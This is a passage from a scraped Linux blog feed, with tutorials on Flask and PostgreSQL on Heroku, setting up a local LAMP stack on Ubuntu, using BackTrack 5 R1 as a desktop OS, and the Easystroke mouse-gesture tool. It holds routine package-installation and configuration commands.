has an extra hack for accessing the local database. It loads heroku database url in heroku and local url in local dev environment. You obviously need to modify it with your local setup.<br />Another way to use local database is to export the local database URI to the shell environment. Put this line in your <i>.zshrc</i> or <i>.bash_profile</i> (depending on the shell you are using)<br /><blockquote class="tr_bq"><i>export DATABASE_URI=&#8221;postgresql://pguser:password/dbname&#8221;</i></blockquote><h3>Create the postgres database on heroku </h3>Here&#8217;s the python flask specific stuff now. In flask, unless you are using something like &#8217;<i>alembic</i>&#8217; for database migrations, you can directly create your database on Heroku. <br /><br />Just run python console attached to your Heroku instance<br /><blockquote class="tr_bq"><i>heroku run python</i></blockquote>Then do import your flask-sqlalchemy instance and create the database with<br /><blockquote class="tr_bq"><i>&gt;&gt;&gt;</i> <i>db.create_all</i></blockquote>assuming that &#8216;db&#8217; is the flask-sqlalchemy instance.<br /><br /><br />So here we are with our heroku app ready to rock the postgres.<br /><br /><i>(Phewww&#8230;I eventually managed to write a post after so long. Such relief.)</i><br /><div style="text-align: justify;"><br /><br /><hr /><br /><b><i>Circle Beat Of The Geek on</i></b> <a href="https://plus.google.com/109838896781876000861" target="_blank">Google Plus</a><br /><i><b>OR Like us on</b></i> <a href="https://www.facebook.com/pages/Beat-Of-The-Geek/251813454834549" target="_blank">Facebook</a> <b><i>&nbsp;OR Follow on</i></b> <a href="https://twitter.com/#!/beatofthegeek" target="_blank">Twitter</a></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/Op6DlhCB-Co" height="1" width="1" alt=""/>http://\.github.io/\/github/2013/04/how-to-setup-postgresql-python-flask.html2012-07-01T00:00:00+05:30http://.github.io/\/github/2012/07/setting-up-your-own-lamp-machine-for<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on">&lt;&lt; Previous:&nbsp;<a href="http://channikhabra.blogspot.in/2012/06/setting-up-you-own-home-lamp-machine.html" target="">Setting up Apache</a><br /><br />Well, after setting up the apache http daemon, it&#8217;s time for the database management system, the &#8216;M&#8217; of LAMP.<br /><h3 style="text-align: left;"> </h3><h3 style="text-align: left;"> Installing MySql</h3>It can&#8217;t be easier. Just shoot the terminal and type:<br /><blockquote class="tr_bq"><code>sudo apt-get install mysql-server</code></blockquote>Yup! That&#8217;s it. You&#8217;ll get some prompts and will be asked to enter the password for root user (root user of MySql not the Operating System). Just enter the details and that&#8217;s all for the MySql.<br /><h4 style="text-align: left;"> Removing Mysql from Startup</h4>Yeah, just like Apache daemon, mysql put itself on startup too. And it will not get removed by just running update-rc.d. We need to comment out a couple lines in the mysql.conf file. So, shoot the terminal and do this.<br /><br /><!-- more --><br /><br /><ul style="text-align: left;"><li><span style="background-color: white;"><code>sudo kate (or gedit) /etc/init/mysql.conf</code></span></li><li><span style="background-color: white;">Comment out the two starting lines (they should say &#8220;start on&#8221; and something)</span></li></ul><div>That&#8217;s it. MySql is now removed from the startup. To run the Mysql daemon after this, use following command</div><blockquote class="tr_bq"><code>sudo service mysql start</code></blockquote><br /><br /><h3 style="text-align: left;"> Installing PHP5</h3>After we&#8217;ve set Apache and MySql, it is time for the real sexy. Although PHP can be installed via Ubuntu packages with <i>apt-get install php5</i>, but it will install php5.3(.something). That&#8217;s no good as we wanna use the latest version. Remember I told you about the inbuilt server provided with php that almost eliminates the need for the Apache server in development environment? It come with PHP5.4 and is not available in PHP5.3. Beside that there are many more <a href="http://php.net/releases/5_4_0.php" target="_blank">awesome features</a> which make it worth installing. So let&#8217;s install the latest version of PHP.<br /><h3 style="text-align: left;"> Installing Latest PHP in Ubuntu</h3>Shoot the terminal and enter following commands:<br /><blockquote class="tr_bq"><code>sudo add-apt-repository ppa:ondrej/php5</code></blockquote>And then update apt-get repository info and install apache php mod, php5 itself and php mysql extension to use mysql with php.<br /><blockquote class="tr_bq"><code>sudo apt-get update<br />sudo apt-get install php5 libapache2-mod-php5 php5-mysql</code></blockquote><h4 style="text-align: left;"> <span style="background-color: white;">Running PHP server (not Apache)</span></h4>To run the php server instead of Apache, just run following command in terminal.<br /><blockquote class="tr_bq"><code>php -S localhost:8080</code></blockquote>This will run a server listening at port 8080. So, we&#8217;ll need to go to <a href="http://localhost:8080/">http://localhost:8080</a>&nbsp;to run the server. In order to run the server as simply <a href="http://localhost/">http://localhost</a>, we&#8217;ll need to run the server at port 80, and for that we need to run the above command with sudo and 80 instead of 8080. Here&#8217;s what I mean:<br /><blockquote class="tr_bq"><code>sudo php -S localhost:80</code></blockquote><h3 style="text-align: left;"> <span style="background-color: white;">Benefits of using PHP Server</span></h3><br /><ul style="text-align: left;"><li><span style="background-color: white;">PHP server run as the current working directory as the root server dir. So there is no need to go through the hassle of creating different sites in apache.</span></li><li><span style="background-color: white;">Running php server helps a lot in debugging by displaying all the messages, errors and warnings in the terminal itself. So no need to change php.ini to enable debugging or use some other method.&nbsp;</span></li><li><span style="background-color: white;">It is really cool to use it (don&#8217;t know why, but I feel like it is cool :P)</span></li></ul><div>Here&#8217;s a snapshot of how it look when running php server.<br /><br /><br /></div><div><span id="goog_2392878"></span><span id="goog_2392879"></span></div><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-_raAYxZsmQI/T_Ad5Kwo0CI/AAAAAAAAAQk/gUaZ2-1J7ho/s1600/snapshot1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="http://2.bp.blogspot.com/-_raAYxZsmQI/T_Ad5Kwo0CI/AAAAAAAAAQk/gUaZ2-1J7ho/s400/snapshot1.png" width="400" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><br /></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/Ui_Q31J4G-U" height="1" width="1" alt=""/>http://\.github.io/\/github/2012/07/setting-up-your-own-lamp-machine-for.html2012-06-30T00:00:00+05:30http://.github.io/\/github/2012/06/setting-up-you-own-home-lamp-machine<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">Hello there!!</div><div style="text-align: justify;">Well am back here after a long time. Writing blog posts is really boring when you have something as awesome as writing code, and writing code for web applications is what is red hot in the skies right now. So here&#8217;s this post to help us setting up our own LAMP (Linux - which all of us already have, Apache - the HTTP server, MySql - the Database Management System, and PHP - the sexy thing we&#8217;ll write our web apps in).&nbsp;</div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: right;"><tbody><tr><td style="text-align: center;"><a href="http://www.ezeelive.com/cmsAdmin/uploads/php_web_developer_mumbai_india_ezeelive.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="225" src="http://www.ezeelive.com/cmsAdmin/uploads/php_web_developer_mumbai_india_ezeelive.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Php Development in Linux</td></tr></tbody></table><div style="text-align: justify;">Yea I know it is dead easy to just use the <a href="http://sourceforge.net/projects/lampas/" target="_blank">LAMP</a> (like people use <a href="http://www.wampserver.com/en/" target="_blank">WAMP</a> on <a href="http://forums.opensuse.org/english/other-forums/community-fun/general-chit-chat/461353-10-reasons-why-windows-still-sucks.html" target="_blank">Windows</a>), but what&#8217;s the meaning of using something as awesome as Linux if we are gonna use those tools<span style="background-color: white;">(no offenses here)</span><span style="background-color: white;">. I hate using LAMP anyways.</span></div><div style="text-align: justify;"><span style="background-color: white;">So what we gonna do is installing Apache, Mysql and PHP on our machine and setting it up for awesome developing PHP apps.</span></div><!-- more --><br /><h3 style="text-align: justify;"> <span style="background-color: white;">Installing Apache</span></h3><div style="text-align: justify;"><span style="background-color: white;">Well, it can&#8217;t be done easier on our Ubuntu Machine.</span></div><blockquote class="tr_bq" style="text-align: justify;"><span style="background-color: white;"><code>sudo apt-get install apache2</code></span></blockquote><div style="text-align: justify;">Installing apache is easy enough, but I don&#8217;t think we gonna use our machine for web development all the time, are we? By default apache puts itself into the startup applications list, i.e. it starts up everytime we boot up. That&#8217;s a kind of overkill for our development environment. But it is easy to remove it from startup.</div><h4 style="text-align: justify;"> Removing Apache from Startup</h4><div style="text-align: justify;">Just launch the terminal console (alt+ctrl+T on Gnome) and execute the following command</div><blockquote class="tr_bq" style="text-align: justify;"><code>sudo update-rc.d apache2 disable</code></blockquote><div style="text-align: justify;">Now Apache will not start on the startup. We&#8217;ll need to start it manually everytime we gonna use it. Just use following command to <b>start apache http server:</b>&nbsp;</div><blockquote class="tr_bq" style="text-align: justify;"><code>sudo /etc/init.d/apache2 start</code> OR<span style="background-color: white;">&nbsp;</span></blockquote><blockquote class="tr_bq" style="text-align: justify;"><code>sudo service apache2 start</code></blockquote><h4 style="text-align: justify;"> Changing www (default directory) in Apache</h4><div style="text-align: justify;">By default Http server runs and show those files in <i>http:/localhost </i>which are located in the /var/www directory. But many times we need to change that directory to something else like ~/www or anything so as to run the server with that site as root.&nbsp;</div><div style="text-align: justify;">To achieve this in apache, we need to follow these steps:</div><br /><ul style="text-align: left;"><li style="text-align: justify;">Go to <i>/etc/apache2/sites-available</i> directory</li><li><div style="text-align: justify;"><span style="background-color: white;">Copy the file named </span><i style="background-color: white;">default </i><span style="background-color: white;">into the same (</span><i style="background-color: white;">/etc/apache2/sites-available</i><span style="background-color: white;">) directory and rename it to whatever (say &#8216;www&#8217; this time) OR use this command via terminal</span></div><span style="background-color: white;"><div style="text-align: justify;"><span style="background-color: white;"><code>cp&nbsp;</code></span><code><i style="background-color: white;">/etc/apache2/sites-available/default&nbsp;</i><i style="background-color: white;">/etc/apache2/sites-available/www</i></code></div></span><i style="background-color: white;"><div style="text-align: justify;"><br /></div></i></li><li><div style="text-align: justify;"><span style="background-color: white;">Open up the &#8216;www&#8217; file we created in text editor OR use this command via terminal</span></div><i style="background-color: white;"><div style="text-align: justify;"><i style="background-color: white;"><code>kate (or gedit) /etc/apache2/sites-available/www</code></i></div></i></li></ul><ul style="text-align: left;"><li style="text-align: justify;">Find and replace &#8220;/var/www&#8221; with the path we wanna use as our server root, say &#8220;/home/dante/www&#8221;</li></ul><div style="text-align: justify;">And that&#8217;s all for the tough part. Now we have created a different site which we can enable or disable via command line anytime. This give us the power to use multiple server roots and switch between them easily.</div><div style="text-align: justify;">To enable our new site (i.e. to change the server root dir), enter following command in terminal</div><blockquote class="tr_bq" style="text-align: justify;"><code>sudo a2ensite www</code></blockquote><div style="text-align: justify;">But before that we need to disable already enabled default site, to disable it run</div><blockquote class="tr_bq" style="text-align: justify;"><code>sudo a2dissite default</code></blockquote><div style="text-align: justify;">Simple enough, huh!<br />Well I can&#8217;t agree more that this is quite a hassle to just changing server root dirs. But here&#8217;s an alternative.<br /><b>Alternatively, </b>we can create a virtualhost.<br />For this, we&#8217;ll edit the default &nbsp;file in /etc/apache2sites-available/ and also the /etc/hosts file. Then we&#8217;ll give different projects different URIs (that will be accessible only to your computer) and use those URIs instead of 127.0.0.1 or something. For example, for a project called &#8216;php-project&#8217;, we&#8217;ll assign phpproject.dev (can be anything) and enter http://phpproject.dev in browser to see our project.<br />Here&#8217;s how we do it.<br /><br /><b>CREATE VIRTUAL HOST:</b><br /><br /><ul><li>Change directory to /etc/apache2/sites-available<br /><span style="font-family: Courier New;"><i>cd /etc/apache2/sites-available</i></span></li><li><span style="font-family: Courier New;">Open &#8216;default&#8217; in editor<br /><i>sudo gedit&nbsp;</i></span><span style="font-family: Courier New;">/etc/apache2/sites-available/default</span></li><li><span style="font-family: 'Courier New';">Enter following at the end of file&nbsp;</span><i><virtualhost><br /></virtualhost></i><i>&nbsp;&nbsp;</i>DocumentRoot &#8220;/home/[username]/phpProject/&#8221; <br />&nbsp; ServerName phpproject.dev <i>&nbsp; &nbsp;&nbsp;</i></li></ul></div><br /><br />Here, DocumentRoot is the location of your project ([username] is your username, like &#8216;channi&#8217;), and phpproject.dev is the name you want to access the project with (its local browser address)<br /><br /><b>EDIT /etc/hosts</b><br /><div style="text-align: justify;"><ul><li>Open /etc/hosts in editor<br /><i>sudo gedit /etc/hosts</i></li><li>Enter following line at the end<br /><i>0.0.0.0 &nbsp;phpproject.dev</i><br /><br />(phpproject.dev can be anything like iamawesome.com or whatever, but keep it same as ServerName in /etc/apache2/sites-available/defautl file)</li></ul><div>And that&#8217;s it. You can now simply open up your browser and go to phpproject.dev, and your project is there for you.</div><br /><br /></div><div style="text-align: justify;">Wish there was an easy way. If you are thinking the same, then congrats actually, php5.4 comes with an inbuilt server script which can solve many of our problems and provide a nice and easy way to debug php apps. We&#8217;ll talk about it shortly. &nbsp;</div><div style="text-align: justify;">So let&#8217;s <a href="http://channikhabra.blogspot.in/2012/07/setting-up-your-own-lamp-machine-for.html">setup Mysql and PHP</a>.</div><div style="text-align: justify;"><a href="http://channikhabra.blogspot.in/2012/07/setting-up-your-own-lamp-machine-for.html" target="">&gt;&gt;NEXT&gt;&gt;</a></div></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/HZb4zsipUD4" height="1" width="1" alt=""/>http://\.github.io/\/github/2012/06/setting-up-you-own-home-lamp-machine.html2011-10-22T00:00:00+05:30http://.github.io/\/github/2011/10/backtrack-5-r1-as-desktop-os<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;"><a href="http://www.backtrack-linux.org/">Backtrack</a> is one of the most famous penetration testing Linux distros. It is derived from Linux 10.04, but it is not as easy as Ubuntu to use for a rookie Linux user. BT5 R1 has made it a lot easier to use it as a Desktop OS, but here is how I tuned my machine this time.</div><a href="http://4.bp.blogspot.com/-OIoXLkNj1B8/TqKDZxze85I/AAAAAAAAAK4/liN6wKr4DYw/s1600/Dev_backtrack_v7_v2.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: justify;"><img border="0" src="http://4.bp.blogspot.com/-OIoXLkNj1B8/TqKDZxze85I/AAAAAAAAAK4/liN6wKr4DYw/s320/Dev_backtrack_v7_v2.png" height="200" width="320" /></a><br /><div style="text-align: justify;"><b><span class="Apple-style-span" style="color: #660000; font-size: large;">Adding Unprivileged user</span></b></div><div style="text-align: justify;"><span class="Apple-style-span" style="font-size: large;"><b><br /></b></span></div><div style="text-align: justify;">Default user in BT is root, since it is made for penetration testers and root privileges are needed for running almost all the tools. But, we are using it as a Desktop OS and for general usage, <a href="http://www.linuxquestions.org/questions/linux-newbie-8/what-is-so-dangerous-about-using-root-47298/">super user privileges are dangerous</a>. So we&#8217;ll add a normal user (like a default user in Ubuntu and Mint). BT5 R1 has made this job a lot easier. We must need to issue a single command:</div><blockquote style="text-align: justify;"><code><b>adduser username </b></code></blockquote><div style="text-align: justify;">where username is name of user we want to add.</div><div style="text-align: justify;">In previous versions of BT, we have to install adduser program using &#8220;apt-get install adduser&#8221;.</div><div style="text-align: justify;"><br /><!-- more --><br /></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #660000; font-size: large;"><b>Allowing &#8220;sudo&#8221; for new user</b></span></div><div style="text-align: justify;"><span class="Apple-style-span" style="font-size: large;"><b><br /></b></span></div><div style="text-align: justify;">Now we have added a new user, but it is totally powerless. You would not like to switch to root to do every small task which require super user privileges. So we will allow the usage of sudo command for out newly born user, for this we have to add the user to sudoers list. Run the following command for this:</div><blockquote style="text-align: justify;"><code><b>visudo</b></code></blockquote> <script type="text/javascript"><!-- google_ad_client = "ca-pub-5172967015513444"; /* 468 x 15 link ads */ google_ad_slot = "8665802727"; google_ad_width = 468; google_ad_height = 15; //--></script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> <div style="text-align: justify;">Pretty small one, isn&#8217;t it&#8230;:P &nbsp; Of course, we need to be logged in as root to run this command.</div><div style="text-align: justify;">This will open sudoers file in &#8220;nano&#8221; editor in terminal for editing. Default configuration allows only root to have all the powers. In the file where you see:</div><blockquote><div style="text-align: justify;"># Members of the admin group may gain root privileges</div><div style="text-align: justify;">%admin ALL=(ALL) ALL</div></blockquote><div style="text-align: justify;">After this add a line same as above but replace &#8220;admin&#8221; with username of your choice and for example add following line for allowing &#8220;channi&#8221; to use sudo :</div><blockquote><div style="text-align: justify;">%channi ALL=(ALL) ALL</div></blockquote><div style="text-align: left;"><div style="text-align: justify;">Remember, in any case if sudo don&#8217;t work, we can easily switch to root using &#8221; su root&#8221; command from within our normal user session, but don&#8217;t use it recklessly.&nbsp;</div></div><div style="text-align: left;"><div style="text-align: justify;">After editing, exit nano using ctrl+X and save the file.</div></div><div style="text-align: left;"><div style="text-align: justify;"><br /></div></div><div style="text-align: left;"><div style="text-align: justify;"><b><span class="Apple-style-span" style="color: #660000; font-size: large;">Editing fstab</span></b></div></div><div style="text-align: left;"><div style="text-align: justify;"><br /></div></div><div style="text-align: left;"><div style="text-align: justify;">When logged in as a normal user, we are not allowed to access the filesystem freely. Even when we have added the user to be in sodoers list, there are several restrictions on using it. We can remove most of these by editing fstab, which is the system file which contain information about how and which filesystems/partitions will be mounted. This will also allow us to automount partitions of our choice.&nbsp;</div></div><div style="text-align: left;"><div style="text-align: justify;">Don&#8217;t forget to make a backup before you edit anything. fstab is a really critical file, edit it carelessly and you will never be able to boot your system.</div></div><div style="text-align: left;"><div style="text-align: justify;">To start editing fstab, issue following command:</div></div><div style="text-align: left;"><blockquote style="text-align: justify;"><code><b>sudo gedit /etc/fstab</b></code></blockquote></div><div style="text-align: justify;">Don&#8217;t change anything in the file. We&#8217;ll just add some new lines. For example for adding a partition, I added this line:</div><blockquote><div style="text-align: justify;">UUID=26440134013F55 /media/F ntfs defaults,auto,uid=1001,gid=1001,umask=007 0 0</div></blockquote><div style="text-align: justify;">Follow these steps to edit fstab on your machine:</div><div style="text-align: justify;"><b><br /></b></div><div style="text-align: justify;"><b><span class="Apple-style-span" style="color: #660000;">Find UUID:</span></b>&nbsp;First we must know the UUID of the partition to be added. For that run following command:</div><blockquote style="text-align: justify;"><code><b>sudo blkid</b></code></blockquote><div style="text-align: justify;">and figure out the partition of choice and replace the UUID above.</div><div style="text-align: justify;"><b><br /></b></div><div style="text-align: justify;"><b><span class="Apple-style-span" style="color: #660000;">Place to mount:</span></b>&nbsp;Next is the place where we want to mount the partition (/media/F) in my case. Before mounting the partition on a place, that directory must already exist on filesystem. For example, to mount it as F in &#8220;/media&#8221;, first create a directory named F (using &#8220;sudo mkdir /media/F&#8221;). Than add that location in above line.</div><div style="text-align: justify;"><b><br /></b></div><div style="text-align: justify;"><b><span class="Apple-style-span" style="color: #660000;">Filesystem:</span></b>&nbsp;Next is the filesystem of the partition. If you don&#8217;t know what is it, blkid tell you that as well. In my case it is a old windows NTFS partition where I keep binaries.</div><div style="text-align: justify;"><b><br /></b></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #660000;"><b>How it should be mounted</b>:</span><b>&nbsp;</b>Next is the list of options with which partition will be mounted. It is a comma separated list so don&#8217;t add spaces or tabs. There are a number of options, &#8220;defaults&#8221; set them all to default, and they can be explicitly stated if defaults don&#8217;t suit us. Like we have written &#8220;auto&#8221; after &#8220;defaults&#8221;. This will automatically mount the partition after reboot.</div><div style="text-align: justify;">Next are uid and gid. uid stands for User ID, ID of user who will own the files on partition. We can find it by running this command while logged in as he normal user, &#8220;echo $UID&#8221;. And gid is Group ID, ID of group who own the files on partition. Use this command to find it,</div><blockquote style="text-align: justify;"><code><b>cat /etc/group|grep channi</b></code></blockquote><div style="text-align: justify;">where channi may be any username.</div><div style="text-align: justify;">Next is umask. It decides what permissions will be for User, Group, and Others (umask=UGO). It has to be numbers between 0 to 7, where 0 is for all permissions (read write and execute) and 7 for no permissions.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><b><span class="Apple-style-span" style="color: #660000;">Final columns:</span> </b>Final columns should be 0 and 0. These are dump and fsck options (which have no business with us). Leave them for Linux filesystem to handle, just set them to zero.</div><div style="text-align: justify;">More partitions can be added similarly. You can read this article for <a href="http://www.tuxfiles.org/linuxhelp/fstab.html">more information on editing fstab.</a></div><div style="text-align: justify;">TO check if everything went well, issue &#8220;sudo mount -a&#8221; (unmount the partitions before this) . I needed to reboot my machine for changes to take effect completely.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><b><span class="Apple-style-span" style="color: #660000; font-size: large;">Installing Codecs</span></b></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Now it is about time to install codecs and watch some movies and play music. We will install Ubuntu restricted extras for that. First we need to add medibuntu repository and than we&#8217;ll install codecs. Use following command for all that:</div><div style="text-align: justify;"><br /></div><span class="Apple-style-span" style="font-family: Verdana, Arial, Tahoma; font-size: 12px;"></span><br /><pre class="alt2" dir="ltr" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 34px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: justify; width: 640px;"><b style="color: black;">sudo wget http://www.medibuntu.org/sources.list.d/$(lsb_release -cs).list --output-document=/etc/apt/sources.list.d/medibuntu.list &amp;&amp; sudo apt-get -q update&amp;&amp; sudo apt-get --yes -q --allow-unauthenticated install medibuntu-keyring &amp;&amp; sudo apt-get -q update &amp;&amp; </b><b>sudo apt-get install -y ubuntu-restricted-extras non-free-codecs w32codecs libdvdcss2</b></pre><div style="text-align: justify;"><br /></div><div><div style="text-align: justify;">Everything is done with that huge command. Now we can install vlc, mplayer or whatever of your&nbsp;choice. Or if it didn&#8217;t work for any reason, try entering individual commands:</div><blockquote><code><b>sudo wget http://www.medibuntu.org/sources.list.d/$(lsb_release -cs).list -O /etc/apt/sources.list.d/medibuntu.list</b></code></blockquote><blockquote><code><b>sudo apt-get -q update</b></code></blockquote><blockquote><code><b>sudo apt-get install -y ubuntu-restricted-extras&nbsp;</b></code><span class="Apple-style-span" style="font-family: monospace;"><b>non-free-codecs &nbsp;32codecs libdvdcss2</b></span></blockquote></div><div><div style="text-align: justify;"><b><span class="Apple-style-span" style="color: #660000; font-size: large;">Wanna read some Books ?</span></b><br />For those addicted to ebooks, a pdf reader is must. We can simply install &#8220;evince&#8221;, default pdf reader in Ubuntu (till now) using:<br /><blockquote class="tr_bq"><b><code>sudo apt-get install evince</code></b></blockquote><b style="color: #660000; font-size: x-large;">Archive Manager</b><br />For extracting and compressing file archives, it is better to use command line. OR we can install Archive Manager (<br /><div style="display: inline !important;">file-roller)</div>&nbsp;to make the life easy. Just type this in terminal:<br /><blockquote class="tr_bq"><b><code>sudo apt-get install&nbsp;file-roller</code></b></blockquote><b><span class="Apple-style-span" style="color: #660000; font-size: large;">And what about the Firewall ?</span></b><br /><b><span class="Apple-style-span" style="color: #660000; font-size: large;"><br /></span></b>Backtrack has a firewall pre-installed &nbsp;but is disabled by default. For day to day usage, it can be enabled through following commands:<br /><b>To check the status of Firewall:</b><br /><blockquote class="tr_bq"><code><b>sudo ufw status</b></code></blockquote><b>To enable it:</b><br /><blockquote class="tr_bq"><code><b>sudo ufw enable (disable in order to disable it)</b></code></blockquote><b>For more commands:</b><br /><blockquote class="tr_bq"><code><b>sudo ufw commands</b></code></blockquote><br />We can also <b>install a gui </b>to manage Firewall settings. Use following command to install it:<br /><blockquote class="tr_bq"><code><b>sudo apt-get install gufw</b></code></blockquote><br /><br /></div><div style="text-align: justify;"><b><span class="Apple-style-span" style="color: #660000; font-size: large;">Some&nbsp;Unnecessary&nbsp;tuning</span></b></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">All that is enough for a smooth operation, but there are still some tweaks you would like to try.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #660000;"><b>A login screen</b>:</span> We cam install a login screen as that of Ubuntu for logging in. We&#8217;ll install gdm (for gnome and kdm for kde) for that:</div><blockquote><div style="text-align: justify;"><code><b>sudo apt-get install gdm</b></code></div></blockquote><div style="text-align: justify;"><br /></div><div style="text-align: justify;">But this is not enough, we have to edit gdm configuration file to make it work on startup. To edit the gdm configuration, file issue following command:</div><blockquote><div style="text-align: justify;"><code><b>sudo gedit /etc/init/gdm.conf</b></code> (kdm.conf for kdm)</div></blockquote><div style="text-align: justify;">This will open gedit window. Now in that file, look for &#8220;script&#8221; and &#8220;end script&#8221; block. Delete everything except last two lines, make it read:</div><div style="text-align: justify;"><br /></div><blockquote><div style="text-align: justify;">script</div><div style="text-align: justify;">&nbsp; &nbsp; export XORGCONFIG</div><div style="text-align: justify;">&nbsp; &nbsp; exec gdm-binary $CONFIG_FILE</div><div style="text-align: justify;">end script &nbsp;</div></blockquote><div style="text-align: justify;">for kdm it should be,</div><div style="text-align: justify;"><br /></div><blockquote><div style="text-align: justify;">script&nbsp; &nbsp; export XORGCONFIG</div><div style="text-align: justify;">&nbsp; &nbsp; exec kdm</div><div style="text-align: justify;">end script &nbsp;</div></blockquote><div style="text-align: justify;">It will make a login screen appear on startup instead of pointing to first Virtual Console. X Server (GUI) will start in 7th <a href="http://en.wikipedia.org/wiki/Virtual_console">virtual console</a> now.</div><div style="text-align: justify;">To do <b><span class="Apple-style-span" style="color: #660000;">more tweaks with the Graphical User Interface</span></b>, we can <b><span class="Apple-style-span" style="color: #660000;">install Ubuntu-tweak</span></b>. Issue following commands for that:<code><br /></code></div><blockquote><br /><div style="text-align: justify;"><span class="Apple-style-span" style="font-family: monospace;"><b>sudo add-apt-repository ppa:tualatrix/ppa</b></span></div><b><span class="Apple-style-span" style="font-family: monospace;">sudo apt-get update</span><code>sudo apt-get install ubuntu-tweak</code></b></blockquote><div style="text-align: justify;">You can access Ubuntu-tweak by writing &#8220;ubuntu-tweak&#8221; command in terminal.&nbsp;It will allow you to change a lot of things, including login wallpaper, computer name etc etc. I personally don&#8217;t like using such tools, but just in case you like it.&nbsp;</div><div style="text-align: justify;">I am not a fan of Candy graphics, so I myself have not installed any of the extra graphic themes/effects, but if you like you can try installing Compiz Fusion. Do it using Synaptic (you will need to install it on BT, use &#8220;apt-get install synaptic&#8221;). You can read this article for <a href="http://channikhabra.blogspot.com/2011/08/finetune-ui-with-mouse-gestures.html">little more tuning of User Interface in Backtrack</a>.&nbsp;</div><div style="text-align: justify;">Hope this helps&#8230;: )</div><div style="text-align: justify;">If you have anything more to share or I said something wrong than please state it in a comment.<br /><br /><hr /><br /><b><i>Circle Beat Of The Geek on</i></b> <a href="https://plus.google.com/109838896781876000861" target="_blank">Google Plus</a><br /><i><b>OR Like us on</b></i> <a href="https://www.facebook.com/pages/Beat-Of-The-Geek/251813454834549" target="_blank">Facebook</a> <b><i>&nbsp;OR Follow on</i></b> <a href="https://twitter.com/#!/beatofthegeek" target="_blank">Twitter</a></div></div></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/BrWr5kqROQE" height="1" width="1" alt=""/>http://\.github.io/\/github/2011/10/backtrack-5-r1-as-desktop-os.html2011-08-31T00:00:00+05:30http://.github.io/\/github/2011/08/finetune-ui-with-mouse-gestures
&#8212;
layout: post
title: &#8220;FineTune UI with Mouse Gestures: An alternative to Keyboard Shortcuts&#8221;
date: 2011-08-31
comments: true
categories: [&#8216;GNU/Linux&#8217;]
&#8212;
<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;"><a href="http://2.bp.blogspot.com/-6juxolNoU6s/Tl5V5GXnYtI/AAAAAAAAAKc/9qegPs7l3rg/s1600/screenshot1.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="248" src="http://2.bp.blogspot.com/-6juxolNoU6s/Tl5V5GXnYtI/AAAAAAAAAKc/9qegPs7l3rg/s320/screenshot1.png" width="320" /></a>I usually don&#8217;t like writing tutorials about particular software which themselves are easy to use and self explaining, but this one is special. This post is dedicated to &#8220;Easystroke&#8221;, a gesture recognition program and a few more tiny-winy tweaks.</div><div style="text-align: justify;">I don&#8217;t make a very innovative use of mouse and often use key-board shortcuts along with mouse to get work done fast and smoothly.</div><div style="text-align: justify;">But, fortunately, day before yesterday I got my left hand hurt when I was working in farm. Due to injury I was unable to use keyboard and mouse at same time, so I started searching for an alternative to keyboard shortcuts.</div><div style="text-align: justify;">Out of few solutions I came along with, most successful was Eastystroke. It quickly get&nbsp;integrated&nbsp;with &nbsp;the user interface and is helping in fast recovery of my hand : )</div><div style="text-align: justify;">So we shall start with our journey to tune up the UI as per our needs.</div><div style="text-align: justify;"><br /><!-- more --><br /></div><div style="text-align: justify;"><b><span class="Apple-style-span" style="font-size: large;">Installing EasyStroke:</span></b></div><div style="text-align: justify;"><b><br /></b></div><div style="text-align: justify;">On Debian and based systems (Ubuntu, Mint etc etc), use this command:</div><blockquote><div style="text-align: justify;"><code> sudo apt-get install easystroke </code></div></blockquote><div style="text-align: justify;">On Fedora and based systems, use this command:</div><blockquote><div style="text-align: justify;"><code>sudo yum install easystroke</code></div></blockquote><div style="text-align: justify;">I know you know that, so what ?</div><div style="text-align: justify;">Plus it can always be downloaded from <a href="http://sourceforge.net/projects/easystroke/">Souceforge</a>.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><b><br /></b></div><div style="text-align: justify;"><b>Setting up Easystroke</b> is a child play.</div><div style="text-align: justify;">Coolest thing about easystroke is that we can assign mouse gestures not only a command, but also a keyboard shortcut. So we don&#8217;t need to know commands for assigning them to mouse gestures.</div><div style="text-align: justify;">If you think I am just fooling around (and you know all commands), then guess what is command for maximizing the current window, shortcut is &#8220;alt+F10&#8221; (though it is possible to this with command line (using wmctrl) but, if we have an easier way, why to do any other way).</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">SO, all <b>we have to do</b> is to click &#8220;Add Action&#8221;, name the action, decide it 